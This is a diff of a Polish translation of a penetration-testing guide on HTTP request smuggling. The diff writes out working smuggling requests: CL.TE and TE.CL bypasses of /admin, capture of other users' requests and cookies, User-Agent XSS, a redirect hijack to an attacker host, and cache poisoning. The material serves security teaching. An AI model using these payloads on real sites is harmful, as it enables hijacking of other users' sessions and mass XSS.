||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
@ -306,7 +357,7 @@ Content-Type: text/plain
|
|||||||
User-agent: *
|
User-agent: *
|
||||||
Disallow: /settings
|
Disallow: /settings
|
||||||
```
|
```
|
||||||
Jeśli serwer zignorował nieprawidłowy `Content_Length`, nie występuje FE↔BE desync. With reuse, twój klient faktycznie wysłał ten byte-stream, który serwer zinterpretował jako dwa niezależne żądania:
|
Jeśli serwer zignorował sfałszowany `Content_Length`, nie ma FE↔BE desync. Przy reuse klient faktycznie wysłał ten byte-stream, który serwer zinterpretował jako dwa niezależne żądania:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: hackxor.net
|
Host: hackxor.net
|
||||||
@ -320,44 +371,44 @@ Content_Length: 47
|
|||||||
GET /robots.txt HTTP/1.1
|
GET /robots.txt HTTP/1.1
|
||||||
X: Y
|
X: Y
|
||||||
```
|
```
|
||||||
Wpływ: brak. Po prostu rozesynchronizowałeś klienta od ramowania serwera.
|
Wpływ: żaden. Po prostu odsynchronizowałeś klienta od ramowania po stronie serwera.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Moduły Burp, które zależą od reuse/pipelining: Turbo Intruder z `requestsPerConnection>1`, Intruder z "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" lub "Enable connection reuse".
|
> Moduły Burp, które zależą od reuse/pipelining: Turbo Intruder z `requestsPerConnection>1`, Intruder z "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" lub "Enable connection reuse".
|
||||||
|
|
||||||
### Testy rozróżniające: pipelining czy prawdziwe desync?
|
### Testy kontrolne: pipelining czy rzeczywiste desync?
|
||||||
|
|
||||||
1. Wyłącz reuse i przetestuj ponownie
|
1. Wyłącz reuse i przetestuj ponownie
|
||||||
- W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj "Send group in sequence".
|
- W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj "Send group in sequence".
|
||||||
- W Turbo Intruder ustaw `requestsPerConnection=1` i `pipeline=False`.
|
- W Turbo Intruder ustaw `requestsPerConnection=1` i `pipeline=False`.
|
||||||
- Jeśli zachowanie ustępuje, najpewniej to client-side pipelining, chyba że cel jest connection-locked/stateful lub występuje client-side desync.
|
- Jeśli zachowanie zniknie, prawdopodobnie był to client-side pipelining, chyba że masz do czynienia z connection-locked/stateful targetami lub client-side desync.
|
||||||
2. HTTP/2 nested-response check
|
2. Sprawdzenie zagnieżdżonej odpowiedzi HTTP/2
|
||||||
- Wyślij żądanie HTTP/2. Jeśli ciało odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniono błąd parsowania/desync po stronie backendu, a nie czysto klientowy artefakt.
|
- Wyślij żądanie HTTP/2. Jeśli ciało odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniłeś backend parsing/desync bug zamiast czystego artefaktu po stronie klienta.
|
||||||
3. Partial-requests probe dla connection-locked front-endów
|
3. Probe partial-requests dla connection-locked front-endów
|
||||||
- Niektóre FEs ponownie używają połączenia upstream BE tylko jeśli klient ponownie użył swojego. Użyj partial-requests, by wykryć zachowanie FE, które odzwierciedla reuse klienta.
|
- Niektóre FEs ponownie używają upstream BE connection tylko wtedy, gdy klient powtórnie użył swojej. Użyj partial-requests, aby wykryć zachowanie FE, które odzwierciedla reuse klienta.
|
||||||
- Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection-locked.
|
- Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection-locked.
|
||||||
4. Próby stanu
|
4. Probe stanu (state probes)
|
||||||
- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first-request routing/validation).
|
- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first-request routing/validation).
|
||||||
- Burp "HTTP Request Smuggler" zawiera connection‑state probe, która to automatyzuje.
|
- Burp "HTTP Request Smuggler" zawiera connection‑state probe, który to automatyzuje.
|
||||||
5. Wizualizuj ruch sieciowy
|
5. Wizualizuj ruch na łączu
|
||||||
- Użyj rozszerzenia Burp "HTTP Hacker", aby bezpośrednio sprawdzać konkatenację i ramowanie wiadomości podczas eksperymentów z reuse i partial requests.
|
- Użyj rozszerzenia Burp "HTTP Hacker", aby bezpośrednio sprawdzić konkatenację i ramowanie wiadomości podczas eksperymentów z reuse i partial requests.
|
||||||
|
|
||||||
### Connection‑locked request smuggling (reuse-required)
|
### Connection‑locked request smuggling (wymaga reuse)
|
||||||
|
|
||||||
Niektóre front-endy ponownie używają połączenia upstream tylko wtedy, gdy klient użyje swojego ponownie. Prawdziwe smuggling istnieje, ale zależy od client-side reuse. Aby rozróżnić i udowodnić wpływ:
|
Niektóre front-endy ponownie używają upstream connection tylko wtedy, gdy klient powtórnie użyje swojego. Rzeczywiste smuggling istnieje, ale jest warunkowe względem client-side reuse. Aby rozróżnić i udowodnić wpływ:
|
||||||
- Udowodnij błąd po stronie serwera
|
- Udowodnij bug po stronie serwera
|
||||||
- Użyj HTTP/2 nested-response check, albo
|
- Użyj HTTP/2 nested-response check, lub
|
||||||
- Użyj partial-requests, by pokazać, że FE ponownie używa upstream tylko gdy klient to robi.
|
- Użyj partial-requests, aby pokazać, że FE ponownie używa upstream tylko wtedy, gdy robi to klient.
|
||||||
- Pokaż rzeczywisty wpływ nawet jeśli bezpośrednie nadużycie socketów między użytkownikami jest zablokowane:
|
- Pokaż rzeczywisty wpływ, nawet jeśli bezpośrednie nadużycie socketów między użytkownikami jest zablokowane:
|
||||||
- Cache poisoning: zatruj współdzielone cache przez desync, tak aby odpowiedzi wpływały na innych użytkowników.
|
- Cache poisoning: zatruj shared caches przez desync, tak aby odpowiedzi wpływały na innych użytkowników.
|
||||||
- Internal header disclosure: odzwierciedl FE-wstrzyknięte nagłówki (np. auth/trust headers) i pivot do obejścia uwierzytelnienia.
|
- Internal header disclosure: odzwierciedl FE-injected headers (np. auth/trust headers) i pivot do auth bypass.
|
||||||
- Bypass FE controls: smuggle ograniczone ścieżki/metody poza front-end.
|
- Bypass FE controls: przemyć restricted paths/methods poza front-end.
|
||||||
- Host-header abuse: połącz z dziwactwami routingu hosta, aby pivotować do wewnętrznych vhostów.
|
- Host-header abuse: połącz z dziwactwami routingu hostów, aby pivotować do internal vhosts.
|
||||||
- Przepływ pracy operatora
|
- Procedura operatora
|
||||||
- Odtwórz z kontrolowanym reuse (Turbo Intruder `requestsPerConnection=2`, lub Burp Repeater tab group → "Send group in sequence (single connection)").
|
- Odtwórz z kontrolowanym reuse (Turbo Intruder `requestsPerConnection=2`, lub Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||||
- Następnie połącz z prymitywami do cache/header-leak/control-bypass i zademonstruj wpływ na wielu użytkowników lub autoryzację.
|
- Następnie połącz to z primitives do cache/header-leak/control-bypass i zademonstruj cross-user lub authorization impact.
|
||||||
|
|
||||||
> Zobacz także connection‑state attacks, które są ściśle powiązane, ale technicznie nie są smugglingiem:
|
> Zobacz też connection‑state attacks, które są blisko powiązane, ale technicznie nie są smugglingiem:
|
||||||
>
|
>
|
||||||
>{{#ref}}
|
>{{#ref}}
|
||||||
>../http-connection-request-smuggling.md
|
>../http-connection-request-smuggling.md
|
||||||
@ -365,7 +416,7 @@ Niektóre front-endy ponownie używają połączenia upstream tylko wtedy, gdy k
|
|||||||
|
|
||||||
### Ograniczenia client‑side desync
|
### Ograniczenia client‑side desync
|
||||||
|
|
||||||
Jeśli celujesz w browser-powered/client-side desync, złośliwe żądanie musi być możliwe do wysłania przez przeglądarkę cross-origin. Sztuczki z obfuskacją nagłówków nie zadziałają. Skup się na prymitywach osiągalnych przez navigation/fetch, a następnie pivotuj do cache poisoning, header disclosure lub omijania kontroli front-end, gdy downstream components odzwierciedlają lub cachują odpowiedzi.
|
Jeśli celujesz w browser-powered/client-side desync, złośliwe żądanie musi być wysyłalne przez przeglądarkę cross-origin. Triki z obfuskacją headerów nie zadziałają. Skoncentruj się na primitives osiągalnych przez navigation/fetch, a następnie pivotuj do cache poisoning, header disclosure lub bypass FE controls tam, gdzie downstream komponenty odzwierciedlają lub cache’ują odpowiedzi.
|
||||||
|
|
||||||
Dla kontekstu i end-to-end workflow:
|
Dla kontekstu i end-to-end workflow:
|
||||||
|
|
||||||
@ -373,25 +424,25 @@ Dla kontekstu i end-to-end workflow:
|
|||||||
browser-http-request-smuggling.md
|
browser-http-request-smuggling.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Narzędzia pomocne przy ocenie
|
### Narzędzia pomagające w decyzji
|
||||||
|
|
||||||
- HTTP Hacker (Burp BApp Store): ujawnia niskopoziomowe zachowanie HTTP i konkatenację socketów.
|
- HTTP Hacker (Burp BApp Store): ujawnia low-level HTTP behavior i socket concatenation.
|
||||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||||
- Turbo Intruder: precyzyjna kontrola reuse połączeń przez `requestsPerConnection`.
|
- Turbo Intruder: precyzyjna kontrola nad connection reuse przez `requestsPerConnection`.
|
||||||
- Burp HTTP Request Smuggler: zawiera connection‑state probe do wykrywania first‑request routing/validation.
|
- Burp HTTP Request Smuggler: zawiera connection‑state probe do wykrywania first‑request routing/validation.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Traktuj efekty zależne wyłącznie od reuse jako nieistotne, chyba że potrafisz udowodnić server-side desync i dołączyć konkretny wpływ (poisoned cache artifact, leaked internal header umożliwiający privilege bypass, bypassed FE control itp.).
|
> Traktuj efekty wymagające tylko reuse jako nieistotne, chyba że potrafisz udowodnić server-side desync i powiązać go z konkretnym wpływem (poisoned cache artifact, leaked internal header umożliwiający privilege bypass, bypassed FE control itp.).
|
||||||
|
|
||||||
## Wykorzystywanie HTTP Request Smuggling
|
## Abusing HTTP Request Smuggling
|
||||||
|
|
||||||
### Omijanie zabezpieczeń front-endu za pomocą HTTP Request Smuggling
|
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||||
|
|
||||||
Czasami proxy front-endowe stosują zabezpieczenia, analizując przychodzące żądania. Te zabezpieczenia można jednak obejść, wykorzystując HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do ograniczonych endpointów. Na przykład dostęp do `/admin` może być zabroniony z zewnątrz, a front-end proxy aktywnie blokuje takie próby. Niemniej jednak to proxy może zaniedbać inspekcję osadzonych żądań w smuggled HTTP request, pozostawiając lukę do obejścia tych ograniczeń.
|
Czasami front-end proxies egzekwują security measures, analizując przychodzące żądania. Jednak te mechanizmy można obejść, wykorzystując HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do restricted endpoints. Na przykład dostęp do `/admin` może być zabroniony z zewnątrz, a front-end proxy aktywnie blokuje takie próby. Niemniej jednak proxy może nie sprawdzać embedded requests wewnątrz smuggled HTTP request, co tworzy lukę pozwalającą na obejście tych ograniczeń.
|
||||||
|
|
||||||
Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być użyte do ominięcia kontroli bezpieczeństwa front-endu, ze szczególnym uwzględnieniem ścieżki `/admin`, która zazwyczaj jest chroniona przez front-end proxy:
|
Poniżej przykłady ilustrujące, jak HTTP Request Smuggling może być użyte do ominięcia front-end security controls, szczególnie celując w ścieżkę `/admin`, która zazwyczaj jest chroniona przez front-end proxy:
|
||||||
|
|
||||||
**CL.TE Przykład**
|
**CL.TE Example**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: [redacted].web-security-academy.net
|
Host: [redacted].web-security-academy.net
|
||||||
@ -408,9 +459,9 @@ Content-Length: 10
|
|||||||
|
|
||||||
x=
|
x=
|
||||||
```
|
```
|
||||||
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany dla żądania początkowego, podczas gdy osadzone, następcze żądanie używa nagłówka `Transfer-Encoding: chunked`. Front-end proxy przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co pozwala na nieautoryzowany dostęp do ścieżki `/admin`.
|
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany do żądania początkowego, natomiast kolejne osadzone żądanie korzysta z nagłówka `Transfer-Encoding: chunked`. Front-end proxy przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co pozwala na nieautoryzowany dostęp do ścieżki `/admin`.
|
||||||
|
|
||||||
**TE.CL Example**
|
**TE.CL Przykład**
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: [redacted].web-security-academy.net
|
Host: [redacted].web-security-academy.net
|
||||||
@ -426,13 +477,13 @@ a=x
|
|||||||
0
|
0
|
||||||
|
|
||||||
```
|
```
|
||||||
Z kolei, w ataku TE.CL, początkowe `POST` żądanie używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, front-end proxy pomija przemycone `GET /admin` żądanie, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`.
|
Z kolei w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a osadzone następne żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, front-end proxy pomija przemycone żądanie `GET /admin`, nieumyślnie umożliwiając dostęp do zastrzeżonej ścieżki `/admin`.
|
||||||
|
|
||||||
### Ujawnianie przepisywania żądań przez front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
### Odkrywanie przepisywania żądań przez front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||||
|
|
||||||
Aplikacje często używają **serwera front-end** do modyfikowania przychodzących żądań, zanim przekażą je do serwera back-end. Typowa modyfikacja polega na dodaniu nagłówków, takich jak `X-Forwarded-For: <IP of the client>`, aby przekazać adres IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **odkrycie ukrytych informacji lub endpointów**.
|
Aplikacje często używają **front-end server** do modyfikowania przychodzących żądań przed przekazaniem ich do **back-end server**. Typową modyfikacją jest dodanie nagłówków, takich jak `X-Forwarded-For: <IP of the client>`, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **odkrycie ukrytych informacji lub endpointów**.
|
||||||
|
|
||||||
Aby zbadać, jak proxy zmienia żądanie, znajdź parametr `POST`, który back-end odzwierciedla w odpowiedzi. Następnie przygotuj żądanie, używając tego parametru jako ostatniego, podobne do poniższego:
|
Aby zbadać, jak proxy zmienia żądanie, znajdź parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie skonstruuj żądanie, używając tego parametru jako ostatniego, podobne do poniższego:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
@ -449,19 +500,19 @@ Content-Length: 100
|
|||||||
|
|
||||||
search=
|
search=
|
||||||
```
|
```
|
||||||
W tej strukturze kolejne komponenty żądania są dołączane po `search=`, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
|
W tej strukturze kolejne komponenty żądania są dopisywane po `search=`, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
|
||||||
|
|
||||||
Ważne jest, aby nagłówek `Content-Length` zagnieżdżonego żądania był dopasowany do rzeczywistej długości treści. Zaleca się zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlane dane, zaś zbyt wysoka może spowodować błąd żądania.
|
Ważne jest, aby dopasować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka może spowodować błąd żądania.
|
||||||
|
|
||||||
Technika ta ma również zastosowanie w kontekście podatności TE.CL, jednak żądanie powinno kończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dodane do parametru search.
|
Ta technika ma też zastosowanie w kontekście podatności TE.CL, ale żądanie powinno zakończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.
|
||||||
|
|
||||||
Metoda ta służy przede wszystkim do zrozumienia modyfikacji żądań dokonywanych przez front-end proxy, zasadniczo przeprowadzając samoistne dochodzenie.
|
Metoda ta służy głównie do zrozumienia modyfikacji żądań wykonywanych przez front-endowy proxy, zasadniczo przeprowadzając samodzielne dochodzenie.
|
||||||
|
|
||||||
### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||||
|
|
||||||
Jest możliwe przechwycenie żądań następnego użytkownika przez dołączenie określonego żądania jako wartości parametru podczas operacji POST. Oto jak można to osiągnąć:
|
Możliwe jest przechwycenie żądań następnego użytkownika przez dopisanie konkretnego żądania jako wartości parametru podczas operacji POST. Oto jak można to osiągnąć:
|
||||||
|
|
||||||
Dołączając poniższe żądanie jako wartość parametru, możesz przechować żądanie następnego klienta:
|
Dopisując poniższe żądanie jako wartość parametru, możesz zapisać żądanie kolejnego klienta:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||||
@ -481,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||||||
|
|
||||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||||
```
|
```
|
||||||
W tym scenariuszu parametr **comment parameter** ma na celu przechowywanie zawartości sekcji komentarzy wpisu na publicznie dostępnej stronie. W konsekwencji zawartość kolejnego żądania pojawi się jako komentarz.
|
W tym scenariuszu **comment parameter** ma służyć do przechowywania zawartości sekcji komentarzy posta na stronie dostępnej publicznie. W konsekwencji zawartość następnego żądania pojawi się jako komentarz.
|
||||||
|
|
||||||
Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do separatora parametru użytego w przemycanym żądaniu. W przypadku formularzy URL-encoded separatorem jest znak `&`. Oznacza to, że przechwycona zawartość żądania ofiary zatrzyma się na pierwszym `&`, który może nawet być częścią query string.
|
Ta technika ma jednak ograniczenia. Zazwyczaj przechwytuje dane tylko do delimitera parametru użytego w smuggled request. Dla URL-encoded przesyłania formularzy tym separatorem jest znak `&`. Oznacza to, że przechwycona zawartość żądania ofiary zatrzyma się na pierwszym `&`, który może nawet być częścią query string.
|
||||||
|
|
||||||
Dodatkowo warto zauważyć, że podejście to działa także w przypadku podatności TE.CL. W takich sytuacjach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dołączone do parametru search.
|
Warto też zaznaczyć, że podejście to działa również przy podatności TE.CL. W takich przypadkach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dopisane do parametru search.
|
||||||
|
|
||||||
### Using HTTP request smuggling to exploit reflected XSS
|
### Wykorzystanie HTTP request smuggling do eksploatacji Reflected XSS
|
||||||
|
|
||||||
HTTP Request Smuggling może być wykorzystany do atakowania stron podatnych na **Reflected XSS**, oferując istotne korzyści:
|
HTTP Request Smuggling można wykorzystać do ataku na strony podatne na **Reflected XSS**, co daje znaczące korzyści:
|
||||||
|
|
||||||
- Interakcja z docelowymi użytkownikami **nie jest wymagana**.
|
- Interakcja z docelowymi użytkownikami **nie jest wymagana**.
|
||||||
- Pozwala na wykorzystanie XSS w częściach żądania, które są **zwykle nieosiągalne**, takich jak nagłówki żądań HTTP.
|
- Pozwala na eksploatację XSS w częściach żądania, które są **zwykle niedostępne**, na przykład nagłówki HTTP.
|
||||||
|
|
||||||
W scenariuszach, w których strona jest podatna na Reflected XSS poprzez User-Agent header, poniższy payload pokazuje, jak wykorzystać tę podatność:
|
W scenariuszach, gdzie strona jest podatna na Reflected XSS poprzez nagłówek User-Agent, poniższy payload pokazuje, jak wykorzystać tę podatność:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||||
@ -515,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
|
|||||||
|
|
||||||
A=
|
A=
|
||||||
```
|
```
|
||||||
This payload jest skonstruowany, aby wykorzystać lukę poprzez:
|
This payload jest skonstruowany, aby wykorzystać podatność poprzez:
|
||||||
|
|
||||||
1. Inicjowanie `POST` żądania, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked` wskazującym początek smuggling.
|
1. Zainicjowanie `POST` requestu, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, wskazującym początek smugglingu.
|
||||||
2. Następnie `0`, oznaczający koniec chunked message body.
|
2. Następnie `0`, oznaczające koniec chunked message body.
|
||||||
3. Potem wprowadzone jest przemytowe `GET` żądanie, w którym nagłówek `User-Agent` jest wstrzyknięty skryptem `<script>alert(1)</script>`, wyzwalając XSS gdy serwer przetworzy to kolejne żądanie.
|
3. Potem wprowadzany jest smuggled `GET` request, w którym nagłówek `User-Agent` zawiera skrypt `<script>alert(1)</script>`, wyzwalający XSS, gdy serwer przetworzy to kolejne żądanie.
|
||||||
|
|
||||||
Manipulując `User-Agent` poprzez smuggling, payload omija normalne ograniczenia żądań, w ten sposób wykorzystując Reflected XSS w niestandardowy, ale skuteczny sposób.
|
Manipulując `User-Agent` przez smuggling, payload omija standardowe ograniczenia żądań, w ten sposób wykorzystując podatność Reflected XSS w niestandardowy, ale skuteczny sposób.
|
||||||
|
|
||||||
#### HTTP/0.9
|
#### HTTP/0.9
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, uniemożliwiając wykonanie XSS. Jeśli serwer obsługuje **HTTP/0.9**, może to być możliwe do obejścia!
|
> W przypadku, gdy zawartość użytkownika jest odzwierciedlona w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co zapobiega wykonaniu XSS. Jeśli serwer obsługuje **HTTP/0.9**, może być możliwe obejście tego!
|
||||||
|
|
||||||
Wersja HTTP/0.9 istniała przed 1.0 i używa tylko metod **GET** oraz **nie** odpowiada z **headers**, jedynie body.
|
Wersja HTTP/0.9 występowała przed 1.0 i używa wyłącznie metody **GET** oraz **nie** zwraca nagłówków, jedynie treść odpowiedzi.
|
||||||
|
|
||||||
W [**this writeup**](https://mizu.re/post/twisty-python) mechanizm ten został nadużyty przy użyciu request smuggling i **vulnerable endpoint that will reply with the input of the user**, aby przemycić żądanie w HTTP/0.9. Parametr, który został odzwierciedlony w odpowiedzi, zawierał **fake HTTP/1.1 response (with headers and body)**, więc odpowiedź zawierała prawidłowy wykonywalny kod JS z `Content-Type` ustawionym na `text/html`.
|
W [**this writeup**](https://mizu.re/post/twisty-python) zostało to nadużyte przy użyciu request smuggling i **podatnego endpointu, który odpowie zawartością wprowadzonej przez użytkownika**, aby wsmugglować żądanie w HTTP/0.9. Parametr, który był odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i body)**, więc odpowiedź zawierała poprawny wykonywalny kod JS z `Content-Type` ustawionym na `text/html`.
|
||||||
|
|
||||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### Wykorzystywanie przekierowań w obrębie serwisu przy użyciu HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach WWW takich jak Apache i IIS. Na przykład żądanie folderu bez końcowego ukośnika powoduje przekierowanie dodające ukośnik:
|
Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach WWW takich jak Apache i IIS. Na przykład żądanie katalogu bez końcowego ukośnika skutkuje przekierowaniem, które dodaje ten ukośnik:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
@ -544,7 +595,7 @@ Skutkuje:
|
|||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://normal-website.com/home/
|
Location: https://normal-website.com/home/
|
||||||
```
|
```
|
||||||
Choć pozornie nieszkodliwe, to zachowanie można zmanipulować przy użyciu HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
|
Choć pozornie nieszkodliwe, zachowanie to można zmanipulować za pomocą HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
@ -558,29 +609,29 @@ GET /home HTTP/1.1
|
|||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
Foo: X
|
Foo: X
|
||||||
```
|
```
|
||||||
Ten smuggled request może spowodować, że następny przetworzony request użytkownika zostanie przekierowany na attacker-controlled website:
|
To przemycone żądanie może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
Foo: XGET /scripts/include.js HTTP/1.1
|
Foo: XGET /scripts/include.js HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
```
|
```
|
||||||
Powoduje:
|
Skutkuje:
|
||||||
```
|
```
|
||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://attacker-website.com/home/
|
Location: https://attacker-website.com/home/
|
||||||
```
|
```
|
||||||
W tym scenariuszu żądanie użytkownika o plik JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy kod JavaScript w odpowiedzi.
|
W tym scenariuszu żądanie użytkownika o plik JavaScript zostaje przechwycone. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi.
|
||||||
|
|
||||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Wykorzystanie Web Cache Poisoning przez HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Web cache poisoning może wystąpić, jeśli dowolny komponent **front-end infrastructure caches content**, zwykle w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **poison the cache**.
|
Web cache poisoning może zostać przeprowadzone, jeśli którykolwiek element **infrastruktury front-end buforuje zawartość**, zwykle w celu zwiększenia wydajności. Poprzez manipulację odpowiedzią serwera możliwe jest **zatrucie cache**.
|
||||||
|
|
||||||
Wcześniej pokazaliśmy, jak odpowiedzi serwera można zmodyfikować, by zwracały błąd 404 (zob. [Basic Examples](#basic-examples)). Podobnie można oszukać serwer, aby w odpowiedzi na żądanie `/static/include.js` dostarczył zawartość `/index.html`. W konsekwencji zawartość `/static/include.js` zostaje zastąpiona w cache zawartością z `/index.html`, przez co `/static/include.js` staje się niedostępny dla użytkowników, co może doprowadzić do Denial of Service (DoS).
|
Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą zostać zmienione, aby zwracać błąd 404 (odwołaj się do [Basic Examples](#basic-examples)). Podobnie, można oszukać serwer, aby dostarczył zawartość /index.html w odpowiedzi na żądanie /static/include.js. W konsekwencji zawartość /static/include.js zostaje zastąpiona w pamięci podręcznej zawartością /index.html, co sprawia, że /static/include.js staje się niedostępny dla użytkowników, potencjalnie prowadząc do Denial of Service (DoS).
|
||||||
|
|
||||||
Ta technika staje się szczególnie niebezpieczna, jeśli odkryta zostanie **Open Redirect vulnerability** lub istnieje **on-site redirect to an open redirect**. Takie luki można wykorzystać do zastąpienia zbuforowanej zawartości `/static/include.js` skryptem kontrolowanym przez atakującego, co w praktyce umożliwia masowy Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
|
